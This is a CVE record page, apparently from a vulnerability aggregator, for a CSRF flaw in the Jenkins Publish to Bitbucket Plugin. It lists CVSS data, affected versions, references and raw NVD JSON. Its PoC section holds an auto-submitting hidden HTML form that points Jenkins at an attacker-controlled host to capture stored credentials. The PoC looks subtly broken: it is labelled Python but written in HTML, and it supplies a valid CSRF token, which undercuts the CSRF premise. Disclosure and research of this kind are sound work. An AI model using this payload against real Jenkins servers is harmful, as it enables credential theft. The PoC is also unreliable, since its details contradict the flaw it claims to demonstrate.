CVE-2025-64149

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Publish to Bitbucket Plugin <= 0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-64149 -->
<!-- This PoC demonstrates the CSRF attack to steal Jenkins credentials -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-64149</title>
</head>
<body>
    <h1>CSRF Attack PoC for Jenkins Publish to Bitbucket Plugin</h1>
    <p>This is a demonstration of the CSRF vulnerability.</p>
    
    <!-- Auto-submit form that exploits the CSRF vulnerability -->
    <form id="csrfForm" action="http://target-jenkins:8080/plugin/publish-over-bitbucket/connect" method="POST" style="display:none;">
        <input type="hidden" name="url" value="http://attacker-controlled-server.com/fake-bitbucket">
        <input type="hidden" name="credentialsId" value="attacker-obtained-credential-id">
        <input type="hidden" name="Jenkins-CSRF-Protection" value="valid-csrf-token-from-session">
    </form>
    
    <script>
        // Auto-submit the form
        document.getElementById('csrfForm').submit();
        
        // Log when attack is executed
        console.log('CSRF attack executed for CVE-2025-64149');
    </script>
    
    <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64149
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64149
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64149/
[4] VulDB https://vuldb.com/cve/CVE-2025-64149
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3576
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64149", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:59.743", "lastModified": "2025-11-04T22:16:41.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.4", "matchCriteriaId": "AFB047CD-0168-404D-9C45-E750E3F85763"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3576", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}